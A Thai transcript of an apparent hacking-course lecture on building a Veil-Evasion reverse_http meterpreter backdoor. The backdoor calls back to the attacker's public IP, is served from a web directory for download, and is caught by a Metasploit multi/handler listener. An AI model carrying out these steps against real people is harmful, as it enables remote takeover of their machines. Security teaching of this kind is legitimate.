นักการศึกษา: โอเค
งั้นเราไปกันเลย
มาสร้างแบ็คดอร์กัน และความแตกต่างเพียงอย่างเดียวคือเราจะตั้งค่า
IP เป็น IP สาธารณะแทนที่จะเป็น IP ในพื้นที่ ดังนั้นเราจะสร้างแบ็คดอร์แบบเดียวกับที่เราเคยสร้างมันเมื่อเราแฮ็ค อุปกรณ์ในเครือข่ายเดียวกัน
ฉันจะใช้ Veil-Evasion และฉันจะทำมันให้เร็วขึ้น เพราะเราได้ทำมาแล้ว
และไม่มีอะไรใหม่เกี่ยวกับเรื่องนี้
ดังนั้นเราสามารถ List เพื่อดูว่าเรามีอะไรบ้าง
ฉันจะใช้หมายเลข 9 ดังนั้นมันจึงเป็นเพย์โหลดเดียวกันกับที่เราใช้ในวิดีโอที่แล้ว
มันเป็นเพย์โหลด http ย้อนกลับ
เราจะใช้ 9 และดูตัวเลือกต่างๆ
ได้ที่นี่
เราจะเห็นว่า LPORT ถูกตั้งค่าเป็น 8080 โดยค่าเริ่มต้น
และฉันจะรักษาไว้เหมือนเดิม
สิ่งเดียวที่ฉันจะเปลี่ยนคือ LHOST และในวิดีโอก่อนหน้านี้ ตอนที่เราได้รับการเชื่อมต่อบนคอมพิวเตอร์ของเรา
เราเคยตั้งค่าเป็น IP ท้องถิ่น ดังนั้นถ้าฉันทำ ifconfig wlan0
เราก็เคยตั้งค่า ถึง 192.
168. 0. 1
เพราะนั่นคือ IP ที่อุปกรณ์ใช้ภายในเครือข่าย
เมื่อใดก็ตามที่คุณต้องการทำสิ่งต่างๆ
ภายนอก เราต้องการใช้ IP จริง เพราะ IP ภายในเหล่านี้จะไม่ปรากฏต่อคอมพิวเตอร์ภายนอกเครือข่าย
ดังนั้นฉันจะใช้ IP ที่เห็นใน
Google เมื่อฉันพิมพ์ 'ip ของฉันคืออะไร'
ฉันได้รับ IP นี้และฉันจะใช้เป็น LHOST
ในแบ็คดอร์ของฉัน ดังนั้นฉันจะคัดลอก นี่และฉันจะตั้งไว้ที่นี่
และขออภัยที่ฉันวางไม่ถูกต้อง ตั้งค่าให้เรียบร้อย
กด 'ข้อมูล' เพื่อให้แน่ใจว่าทุกอย่างได้รับการตั้งค่าอย่างถูกต้อง
ดังนั้น PORT 8080 เรากำลังใช้ IP สาธารณะ ดังนั้นนี่คือขั้นตอนที่สำคัญที่สุดในเรื่องนี้ จากนั้นเราจะทำการ 'สร้าง'
และเราจะเรียกสิ่งนี้ว่า 'backdoordirty' exe'.
คุณจะกด Enter
และนั่นสร้างเพย์โหลดให้ฉัน ดังนั้นมันจึงถูกเก็บไว้ในที่นี่
เหมือนเดิม
ฉันจะคัดลอกและวางลงใน
var www html ของฉัน และฉันจะแสดงวิธีดาวน์โหลดสิ่งนี้จากอินเทอร์เน็ตจากภายนอกเครือข่าย
ดังนั้นฉันจะคัดลอกไปยังไดเรกทอรีเว็บเซิร์ฟเวอร์ของฉัน
โอเค เท่านี้ก็เรียบร้อย
ตอนนี้ ทั้งหมดที่เราต้องทำคือเพียงแค่ฟังการเชื่อมต่อที่เข้ามา
เราจะทำอย่างนั้นโดยใช้ multi/handler ดังนั้นเราจึงเคยทำมาแล้วอีกครั้ง
ฉันจะทำมันให้เร็วที่สุด
และเมื่อฉันจะฟัง multi/handler ฉันจะฟัง
IP ในพื้นที่ของฉันจริง ๆ ดังนั้นฉันจะไม่ฟังจากภายนอก
ฉันจะฟังในเครื่องเพราะว่าฉันไม่สามารถฟังได้ ภายนอก
จริงๆ แล้วฉันอยู่ในเครือข่ายและควบคุมได้เฉพาะคอมพิวเตอร์เครื่องปัจจุบันเท่านั้น
สิ่งที่ฉันจะทำตอนนี้อยู่ในนี้
ในเครื่องกาลี ฉันจะฟัง PORT 8080 และในอุปกรณ์ภายนอก
แบ็คดอร์จะพยายามเชื่อมต่อกับแบ็คดอร์
ดังนั้นขั้นตอนหลังจากนั้น
เราจะตั้งค่า การส่งต่อ IP เพื่อบอกให้เราเตอร์ส่งต่อ
PORT 8080 ไปยังเครื่อง Kali แต่ก่อนอื่น เราต้องฟัง PORT 8080 ในเครื่อง Kali และเราจะดำเนินการโดยใช้ multi/handler
ผมก็เลยจะทำ msfconsole
อีกครั้ง เราทำสิ่งนี้มาก่อน
ดังนั้นฉันจะทำมันให้เร็วหน่อย
ดังนั้นฉันจะ 'ใช้ Exploit/multi/handler'
ฉันจะตั้งค่าเพย์โหลดเป็น windows/meterpreter/reverse_http
จากนั้นเราจะตั้งค่า LPORT เป็น 8080 นั่นคือพอร์ตที่เราจะเชื่อมต่อ จากนั้นฉันจะตั้งค่า LHOST
ซึ่งเป็นโฮสต์ที่รับฟัง เป็น IP ส่วนตัวของฉันดังที่ฉันพูดก่อนหน้านี้ ดังนั้นฉัน m จะทำ 'ตั้ง LHOST เป็น 192.
168. 0. 11'.
ตอนนี้ฉันกำลังจะทำ 'แสดงตัวเลือก'
เพื่อให้แน่ใจว่าทุกอย่างทำอย่างถูกต้อง
และเราจะเห็นว่าเรามีการตั้งค่า LPORT เป็น 8080 และโฮสต์ในพื้นที่ถูกตั้งค่าเป็น
192 168. 0. 11 และเรากำลังใช้
payload ของ windows/meterpreter/reverse_http
มันเลยดีไปหมด
ฉันจะ 'ฉวยโอกาส'
อย่างที่คุณเห็นที่นี่
กำลังฟังบน IP ส่วนตัวของฉัน และกำลังฟังบน
PORT 8080
ตอนนี้เราทำสองขั้นตอนหลัก:
เราสร้างแบ็คดอร์
และแบ็คดอร์จะให้การเชื่อมต่อกลับมาตามที่อยู่
IP จริง และเรากำลังฟังบนเครื่องของเรา
เรากำลังฟัง PORT 8080 ในเครื่อง Kali
ดังนั้นเมื่อบุคคลเป้าหมายเรียกใช้แบ็คดอร์บนอินเทอร์เน็ตที่พวกเขาจะได้รับ
แบ็คดอร์จะพยายามเชื่อมต่อกับ
IP นี้บน PORT 8080
ปัญหาเดียวในตอนนี้คือเกตเวย์
ซึ่งเป็นเราเตอร์ตรงนี้
มันไม่มี PORT 8080 เปิดอยู่ ดังนั้นมันจะได้รับการเชื่อมต่อ
มันจะไม่รู้ว่าต้องทำอะไรกับมัน ดังนั้นเราจึงจำเป็นต้องกำหนดค่าเราเตอร์ให้บอกมันทุกครั้งที่คุณได้รับบางสิ่งบางอย่าง
เมื่อใดก็ตามที่คุณได้รับการเชื่อมต่อบน PORT 8080 ฉันต้องการให้คุณเปลี่ยนเส้นทางไปยังเครื่อง
Kali ของฉัน
และเราสามารถทำได้สองวิธี และเราจะพูดถึงพวกเขาในการบรรยายครั้งต่อไป